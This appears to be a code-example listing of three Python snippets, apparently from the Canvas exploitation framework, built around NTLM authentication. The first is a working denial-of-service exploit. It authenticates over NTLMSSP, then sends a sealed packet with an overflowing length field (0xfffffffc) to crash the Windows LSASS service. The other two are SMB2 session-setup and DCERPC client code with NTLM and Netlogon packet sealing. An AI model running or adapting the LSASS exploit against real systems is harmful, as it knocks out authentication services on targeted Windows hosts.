コード例 #1
0
    def run(self):
        self.getArgs()
        s=self.gettcpsock()
        try:
            s.connect((self.host,self.port))
        except:
            self.log('Could not connect to %s:%s'%(self.host,self.port))
            return 0
        ntlm=NTLM(self.user,self.password)
        packet=ntlm.negotiate() #Integrity and Confidentiality default to True
        packet=struct.pack('>BB',0x04,0x0a)+'GSS-SPNEGO'+struct.pack('>B',0x04)+asn1len(packet)+packet
        packet=struct.pack('>BBBBBBBL',0x02,0x01,0x03,0x04,0x00,0xa3,0x84,len(packet))+packet
        packet=struct.pack('>BBBBBL',0x02,0x01,0x03,0x60,0x84,len(packet))+packet
        packet=struct.pack('>BBL',0x30,0x84,len(packet))+packet
        s.send(packet)
        data=s.recv(1024)
        i=data.find('NTLMSSP')
        if i==-1:
            self.log('NTLMSSP negotiate failed.')
            return 0
        ntlm.challenge(data[i:])

        packet=ntlm.authenticate()
        packet=struct.pack('>BB',0x04,0x0a)+'GSS-SPNEGO'+struct.pack('>B',0x04)+asn1len(packet)+packet
        packet=struct.pack('>BBBBBBBL',0x02,0x01,0x03,0x04,0x00,0xa3,0x84,len(packet))+packet
        packet=struct.pack('>BBBBBL',0x02,0x01,0x04,0x60,0x84,len(packet))+packet
        packet=struct.pack('>BBL',0x30,0x84,len(packet))+packet
        s.send(packet)
        data=s.recv(1024)
        if data.find('error')!=-1:
            self.log('NTLMSSP authenticate failed.')
            return 0

        data='A'*0x200 #it's only taking 0x100 bytes into account when we put the overflowing length anyway
        sealed_data=ntlm.SEAL(data)
        size=0xfffffffc #len(data)+0x10
        packet=struct.pack('>L',size)+ntlm.MAC(data)+sealed_data
        s.send(packet)
        time.sleep(1)
        try:
            data=s.recv(1024)
        except timeoutsocket.Timeout:
            self.log('Timeout on recv(), LSASS most likely crashed. Aborting.')
        s.close()
        self.setProgress(100)
        self.log('The target LSASS should be either dead or using 100% CPU or still up :(')
        return 0
コード例 #2
0
ファイル: libsmb2.py プロジェクト: zu1kbackup/Canvas
    def session_setup(self):
        self.packet = SMB2Packet(None, SMB2_SESSION_SETUP, self.mid, self.pid,
                                 self.tid, self.sid)

        auth = NTLM(self.username, self.password, self.workstation,
                    self.domain)

        #auth.set_type(NTLMSSP_NEGOTIATE)
        #auth.set_flag(0x80005)

        gss = GSSAPI(None, True)
        gss.spnego_init(auth.negotiate())

        self.packet.body["Buffer"] = gss.pack()
        self.send_recv()

        self.sid = self.packet.header['SessionId']

        # STATUS_MORE_PROCESSING_REQUIRED
        if self.packet.header['Status'] == 0xC0000016:
            auth = NTLM()
            #XX Use gssapi XX
            i = self.packet.body['Buffer'].find('NTLMSSP')
            auth.challenge(self.packet.body['Buffer'][i:])
            # auth.get(self.packet.body['Buffer'][i:])
            # auth.username = self.username
            # auth.password = self.password
            # auth.domain = self.domain
            # auth.set_unicode(1)
            # auth.set_ntlm_version(2)
            # auth.set_type(NTLMSSP_AUTH)
            # auth.set_flag(0x80005)

            gss = GSSAPI()
            gss.spnego_cont(auth.authenticate())

            #gss.spnego_cont(auth.raw())

            self.packet = SMB2Packet(None, SMB2_SESSION_SETUP, self.mid,
                                     self.pid, self.tid, self.sid)
            self.packet.body['SecurityMode'] = 0
            self.packet.body['Buffer'] = gss.pack()
            self.send_recv()
コード例 #3
0
class DCERPC():
    """
    Fragmentation level should be: None (no fragmentation at all, applies to DCERPC or underlying SMB client if over SMB
                                   1 ( DCERPC fragmentation and moderate SMB fragmentation)
                                   2 ( DCERPC fragmentation and max SMB fragmentation = VERY SLOW)
    """
    def __init__(self,
                 binding,
                 getsock=None,
                 username=None,
                 password=None,
                 computer=None,
                 domain=None,
                 kerberos_db=None,
                 use_krb5=False,
                 frag_level=None,
                 smbport=445,
                 smb_client=None):
        (binding, username, password, computer,
         domain) = map(assert_unicode,
                       (binding, username, password, computer, domain))
        self.packet = None
        self.username = username
        self.password = password
        self.computer = computer
        self.domain = domain
        self.kerberos_db = kerberos_db
        self.dcerpc_connection = None
        self.cont_id = 0
        self.getsock = getsock
        self.auth_type = RPC_C_AUTHN_NONE
        self.auth_level = RPC_C_AUTHN_LEVEL_DEFAULT
        self.SessionKey = ''  #XXX: Keeping notation from [MS-NRPC]
        self.ClientSequenceNumber = 0  #XXX: Keeping notation from [MS-NRPC]
        self.reassembled_data = ''
        self.ntlm = None
        self.krb5 = None
        self.frag_level = frag_level
        self.max_dcefrag = 0 if frag_level == None else 1
        sequence, address, endpoint, _ = parseStringBinding(binding)
        self.address = address
        self.endpoint = endpoint

        if self.getsock:
            if ":" in address:
                sock = self.getsock.gettcpsock(AF_INET6=1)
            else:
                sock = self.getsock.gettcpsock()
        else:
            if ":" in address:
                sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
            else:
                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        if sequence == u'ncacn_np':
            if endpoint.lower().startswith(u'\\pipe') == True:
                endpoint = endpoint[len(u'\\pipe'):]
            self.dcerpc_connection = DCERPCOverSMB(sock, address, smbport,
                                                   endpoint, username,
                                                   password, domain,
                                                   kerberos_db, use_krb5,
                                                   frag_level, smb_client)
        elif sequence == u'ncacn_ip_tcp':
            self.dcerpc_connection = DCERPCOverTCP(sock, address,
                                                   int(endpoint))
        else:
            raise DCERPCException('Unsupported transport: %s' % sequence)

    def seal_packet(self):
        if self.auth_type == RPC_C_AUTHN_NONE:
            #XXX: Nothing to do, returning --Kostya
            return
        elif self.auth_type == RPC_C_AUTHN_WINNT:
            if self.auth_level not in [
                    RPC_C_AUTHN_LEVEL_PKT_INTEGRITY,
                    RPC_C_AUTHN_LEVEL_PKT_PRIVACY
            ]:
                return
            auth_verifier = DCERPCAuthVerifier()
            size = len(self.packet.pack()) % 4
            if size != 0:
                auth_verifier['auth_pad'] = '\0' * (4 - size)
            auth_verifier['auth_type'] = self.auth_type
            auth_verifier['auth_level'] = self.auth_level
            auth_verifier['auth_context_id'] = self.auth_context_id
            auth_verifier['auth_value'] = pack('<L8sL', 1, '\0' * 8, 0)
            self.packet.header['auth_length'] = len(
                auth_verifier['auth_value'])
            self.packet.body['auth_verifier'] = auth_verifier.pack()
            rpc_packet = self.packet.pack()
            if self.auth_level == RPC_C_AUTHN_LEVEL_PKT_PRIVACY:
                sealed_data = self.ntlm.SEAL(self.packet.body['data'] +
                                             auth_verifier['auth_pad'])
            auth_verifier['auth_value'] = self.ntlm.MAC(
                rpc_packet[:-len(auth_verifier['auth_value'])])
            if self.auth_level == RPC_C_AUTHN_LEVEL_PKT_PRIVACY:
                self.packet.body['data'] = sealed_data[:len(self.packet.
                                                            body['data'])]
                auth_verifier['auth_pad'] = sealed_data[len(self.packet.
                                                            body['data']):]
        elif self.auth_type == RPC_C_AUTHN_NETLOGON:
            if self.auth_level not in [
                    RPC_C_AUTHN_LEVEL_PKT_INTEGRITY,
                    RPC_C_AUTHN_LEVEL_PKT_PRIVACY
            ]:
                #XXX: Unsupported --Kostya
                return
            auth_verifier = DCERPCAuthVerifier()
            size = len(self.packet.pack()) % 4
            if size != 0:
                auth_verifier['auth_pad'] = '\0' * (4 - size)
            auth_verifier['auth_type'] = self.auth_type
            auth_verifier['auth_level'] = self.auth_level
            auth_verifier['auth_context_id'] = self.auth_context_id
            #XXX: Here we keep the notations of [MS-NRPC] --Kostya
            zeroes = '\0' * 4
            SignatureAlgorithm = 0x77  #HMAC-MD5
            SealAlgorithm = 0xffff
            if self.auth_level == RPC_C_AUTHN_LEVEL_PKT_PRIVACY:
                SealAlgorithm = 0x7a  #RC4
            NlAuthSignature = pack('<HHHH', SignatureAlgorithm, SealAlgorithm,
                                   0xffff, 0)
            Confounder = '\x01' * 8  #XXX: Not so random, randomize? --Kostya
            CopySeqNumber = pack('>LL', self.ClientSequenceNumber & 0xffffffff,
                                 (self.ClientSequenceNumber >> 32)
                                 | 0x80000000)
            self.ClientSequenceNumber += 1
            h = MD5.new()
            h.update(zeroes)
            h.update(
                NlAuthSignature[:8]
            )  #XXX: At this point, it should only be 8 bytes anyway --Kostya
            h.update(Confounder)
            h.update(self.packet.body['data'])
            Checksum = HMAC.new(self.SessionKey, h.digest()).digest()[:8]

            if self.auth_level == RPC_C_AUTHN_LEVEL_PKT_PRIVACY:
                XorKey = ''
                for i in range(len(self.SessionKey)):
                    XorKey += chr(ord(self.SessionKey[i]) ^ 0xf0)
                TmpData = HMAC.new(XorKey, zeroes).digest()
                EncryptionKey = HMAC.new(TmpData, CopySeqNumber).digest()
                Confounder = ARC4.new(EncryptionKey).encrypt(Confounder)
                self.packet.body['data'] = ARC4.new(EncryptionKey).encrypt(
                    self.packet.body['data'])
            TmpData = HMAC.new(self.SessionKey, zeroes).digest()
            EncryptionKey = HMAC.new(TmpData, Checksum).digest()
            SequenceNumber = ARC4.new(EncryptionKey).encrypt(CopySeqNumber)
            NlAuthSignature += SequenceNumber
            NlAuthSignature += Checksum
            NlAuthSignature += Confounder
            auth_verifier['auth_value'] = NlAuthSignature
        else:
            logging.debug(
                'seal_packet: auth_type or auth_level not supported!')
            return

        self.packet.header['auth_length'] = len(auth_verifier['auth_value'])
        self.packet.body['auth_verifier'] = auth_verifier.pack()

    def unseal_packet(self):
        if self.auth_type == RPC_C_AUTHN_NONE:
            #XXX: Nothing to do, returning --Kostya
            return
        elif self.auth_type == RPC_C_AUTHN_WINNT:
            if self.auth_level != RPC_C_AUTHN_LEVEL_PKT_PRIVACY:
                return
            auth_verifier = DCERPCAuthVerifier(
                self.packet.body['auth_verifier'],
                self.packet.header['auth_length'])
            if auth_verifier['auth_pad_length'] != 0:
                unsealed_data = self.ntlm.UNSEAL(self.packet.body['data'] +
                                                 auth_verifier['auth_pad'])
                auth_verifier['auth_pad'] = unsealed_data[
                    -auth_verifier['auth_pad_length']:]
                self.packet.body[
                    'data'] = unsealed_data[:-auth_verifier['auth_pad_length']]
            else:
                self.packet.body['data'] = self.ntlm.UNSEAL(
                    self.packet.body['data'])
            auth_value = auth_verifier['auth_value']
            #auth_verifier['auth_value'] = pack('<L8sL', 1, '\0' * 8, 0) #not used --Kostya
            self.packet.body['auth_verifier'] = auth_verifier.pack()
            rpc_packet = self.packet.pack()
            server_mac = self.ntlm.MAC(
                rpc_packet[:-len(auth_verifier['auth_value'])], False
            )  #this is a server MAC, hence the ClientMode = 'False' --Kostya
            if auth_value != server_mac:
                logging.debug('***** INVALID MAC *****')
                logging.debug('unsealed packet: %s' %
                              (rpc_packet.encode('hex')))
                logging.debug('unsealed data: %s' %
                              (self.packet.body['data'].encode('hex')))
                logging.debug('received MAC: %s' % (auth_value.encode('hex')))
                logging.debug('computed MAC: %s' % (server_mac.encode('hex')))
                return
        elif self.auth_type == RPC_C_AUTHN_NETLOGON:
            if self.auth_level != RPC_C_AUTHN_LEVEL_PKT_PRIVACY:
                #XXX: We do not check the Checksum, only decrypt the data --Kostya
                return
            if self.packet.header['auth_length'] != 32:
                #XXX: Something is wrong --Kostya
                return
            zeroes = '\0' * 4
            auth_verifier = DCERPCAuthVerifier(
                self.packet.body['auth_verifier'],
                self.packet.header['auth_length'])
            NlAuthSignature = auth_verifier['auth_value']
            _, _, _, _, SequenceNumber, Checksum, Confounder = unpack(
                '<HHHH8s8s8s', NlAuthSignature)
            TmpData = HMAC.new(self.SessionKey, zeroes).digest()
            EncryptionKey = HMAC.new(TmpData, Checksum).digest()
            CopySeqNumber = ARC4.new(EncryptionKey).decrypt(
                SequenceNumber)  #XXX: We trust the server information --Kostya
            XorKey = ''
            for i in range(len(self.SessionKey)):
                XorKey += chr(ord(self.SessionKey[i]) ^ 0xf0)
            TmpData = HMAC.new(XorKey, zeroes).digest()
            EncryptionKey = HMAC.new(TmpData, CopySeqNumber).digest()
            Confounder = ARC4.new(EncryptionKey).decrypt(Confounder)
            self.packet.body['data'] = ARC4.new(EncryptionKey).decrypt(
                self.packet.body['data'])
        else:
            logging.debug(
                'unseal_packet: auth_type or auth_level not supported!')

    def __bind_alter(self,
                     packet_type,
                     uuid,
                     version,
                     auth_type,
                     auth_level,
                     t_uuid=None,
                     t_ver=None):
        """
        """
        if packet_type not in [DCERPC_bind, DCERPC_alter_context]:
            return 0

        (uuid, version) = map(assert_unicode, (uuid, version))
        self.auth_type = auth_type
        self.auth_level = auth_level
        self.packet = DCERPCPacket(packet_type=packet_type)
        self.packet.header['pfc_flags'] = PFC_FIRST_FRAG | PFC_LAST_FRAG
        self.packet.body.add_abstract_syntax(uuid, version, self.cont_id,
                                             t_uuid, t_ver)
        self.cont_id += 1

        if auth_type != RPC_C_AUTHN_NONE:
            auth_verifier = DCERPCAuthVerifier()
            self.auth_context_id = random.randint(0x2000, 0xf000) << 4
            auth_verifier['auth_context_id'] = self.auth_context_id
            size = len(self.packet.pack()) % 4
            if size != 0:
                auth_verifier['auth_pad'] = '\0' * (4 - size)
            auth_verifier['auth_type'] = auth_type
            auth_verifier['auth_level'] = auth_level
            if auth_type == RPC_C_AUTHN_WINNT:
                if auth_level == RPC_C_AUTHN_LEVEL_PKT_INTEGRITY:
                    Integrity = True
                    Confidentiality = False
                elif auth_level == RPC_C_AUTHN_LEVEL_PKT_PRIVACY:
                    Integrity = True
                    Confidentiality = True
                else:
                    Integrity = False
                    Confidentiality = False
                self.ntlm = NTLM(self.username, self.password, self.computer,
                                 self.domain, Integrity, Confidentiality)
                auth_verifier['auth_value'] = self.ntlm.negotiate()
            elif auth_type == RPC_C_AUTHN_NETLOGON:
                auth_verifier['auth_value'] = pack(
                    '<LL', 0, 3
                ) + self.domain.encode('CP850') + '\0' + self.computer.encode(
                    'CP850') + '\0'  #XXX: As close to OEM encoding --Kostya
            else:
                raise DCERPCException('auth_type not supported!')
            self.packet.header['auth_length'] = len(
                auth_verifier['auth_value'])
            self.packet.body['auth_verifier'] = auth_verifier.pack()

        data = self.dcerpc_connection.send_recv(self.packet.pack())
        if data == None:
            logging.debug('data=None')
            return 0

        self.packet = DCERPCPacket(data)
        if self.packet.header['PTYPE'] in [
                DCERPC_bind_ack, DCERPC_alter_context_resp
        ]:
            max_dcefrag = self.packet.body['max_recv_frag'] - (
                DCERPC_HEADER_SIZE + 8)
            if self.max_dcefrag == 0 or max_dcefrag < self.max_dcefrag:
                self.max_dcefrag = max_dcefrag

            # Check Ack status and abort if rejected
            if self.packet.header['PTYPE'] == DCERPC_bind_ack:
                result = self.packet.body['p_result_list']
                result = unpack('<H', result[4:6])[0]
                if result == 2:  # Bind ack provider rejection
                    logging.debug('bind ack provider rejection')
                    return 0

        if self.packet.header['PTYPE'] == DCERPC_bind_nak:
            logging.debug('DCERPC bind nak received, reason: %d' %
                          self.packet.body['provider_reject_reason'])
            logging.info(
                'BIND nak received, if using dcerpc crypto disable by setting covertness to 1 and try again.'
            )
            return 0

        if auth_type != RPC_C_AUTHN_NONE:
            auth_verifier = DCERPCAuthVerifier(
                self.packet.body['auth_verifier'],
                self.packet.header['auth_length'])
            if auth_type == RPC_C_AUTHN_WINNT:
                self.ntlm.challenge(auth_verifier['auth_value'])

                self.packet = DCERPCPacket(packet_type=DCERPC_auth_3)
                self.packet.header[
                    'pfc_flags'] = PFC_FIRST_FRAG | PFC_LAST_FRAG
                size = len(self.packet.pack()) % 4
                if size != 0:
                    auth_verifier['auth_pad'] = '\0' * (4 - size)
                auth_verifier['auth_value'] = self.ntlm.authenticate()
                self.packet.header['auth_length'] = len(
                    auth_verifier['auth_value'])
                self.packet.body['auth_verifier'] = auth_verifier.pack()
                data = self.dcerpc_connection.send_recv(self.packet.pack(),
                                                        response=False)
                # XXX: we need to keep state and check the status on the next command for auth3
                return 1

            elif auth_type == RPC_C_AUTHN_NETLOGON:
                if auth_verifier['auth_value'] != pack('<LLH', 1, 0, 0):
                    return 0
                self.ClientSequenceNumber = 0
        return 1

    def bind(self,
             uuid,
             version,
             auth_type=RPC_C_AUTHN_NONE,
             auth_level=RPC_C_AUTHN_LEVEL_DEFAULT,
             t_uuid=None,
             t_ver=None):
        logging.debug('auth_type=0x%x auth_level=0x%x' %
                      (auth_type, auth_level))
        status = self.dcerpc_connection.connect()
        if status != 0:
            # XXX: This will trigger unhandled exceptions in old code
            raise DCERPCException('Error while connecting to %s:%s' %
                                  (self.address, self.endpoint))
            # logging.error("Error while connecting to %s:%s" % (self.address, self.endpoint))
            # return 0
        return self.__bind_alter(DCERPC_bind, uuid, version, auth_type,
                                 auth_level, t_uuid, t_ver)

    def alter_context(self,
                      uuid,
                      version,
                      auth_type=RPC_C_AUTHN_NONE,
                      auth_level=RPC_C_AUTHN_LEVEL_DEFAULT):
        self.__bind_alter(DCERPC_alter_context, uuid, version, auth_type,
                          auth_level)
        return 1

    def call(self, opnum, data, response=True):
        frags = []
        size = len(data)

        if 0 in (self.max_dcefrag, size):
            frags.append(data)
        else:
            for i in range(0, size, self.max_dcefrag):
                frags.append(data[i:i + self.max_dcefrag])

        for i in range(len(frags)):
            self.packet = DCERPCPacket(packet_type=DCERPC_request)
            self.packet.body['opnum'] = opnum
            self.packet.body['alloc_hint'] = size
            self.packet.body['data'] = frags[i]
            if not self.cont_id:
                self.packet.body['p_cont_id'] = 0
            else:
                self.packet.body['p_cont_id'] = self.cont_id - 1
            #XXX: We assume the latest is the one we want. Change that later? --Kostya
            #XXX: There is a bug in the last line. If self.cont_id is 0 then self.packet.body['p_cont_id']
            #     holds -1 (int). However the packing assumes a short thus it falls out of range and the code
            #     crashes. This issue may be triggered when unexpected answers occur. I'm currently unable to
            #     design the appropriate fix. -- r.a.

            if i == 0:
                self.packet.header['pfc_flags'] |= PFC_FIRST_FRAG
            if i == (len(frags) - 1):
                self.packet.header['pfc_flags'] |= PFC_LAST_FRAG
            self.seal_packet()
            if i == (len(frags) - 1):
                #Last packets (or single packets) appear to be TRANSACTION ones and not WRITE_ANDX ones
                data = self.dcerpc_connection.send_recv(
                    self.packet.pack(), response, option=OPTION_SMB_TRANSACT)
            else:
                data = self.dcerpc_connection.send_recv(self.packet.pack(),
                                                        response=False)

            self.reassembled_data = ''
            if data is not None:
                self.packet = DCERPCPacket(data)
                if self.packet.header['PTYPE'] != DCERPC_fault:
                    self.unseal_packet()
                    self.reassembled_data += self.packet.body['data']
                    while (self.packet.header['pfc_flags']
                           & PFC_LAST_FRAG) == 0:
                        logging.debug(
                            'Not the last fragment, calling dcerpc_connection.recv() one more time.'
                        )
                        data = self.dcerpc_connection.recv()
                        if data is None:
                            break
                        self.packet = DCERPCPacket(data)
                        self.unseal_packet()
                        self.reassembled_data += self.packet.body['data']
                else:
                    logging.debug('DCERPC Fault, no reassembled data')
        #XXX: Todo --Kostya
        return 1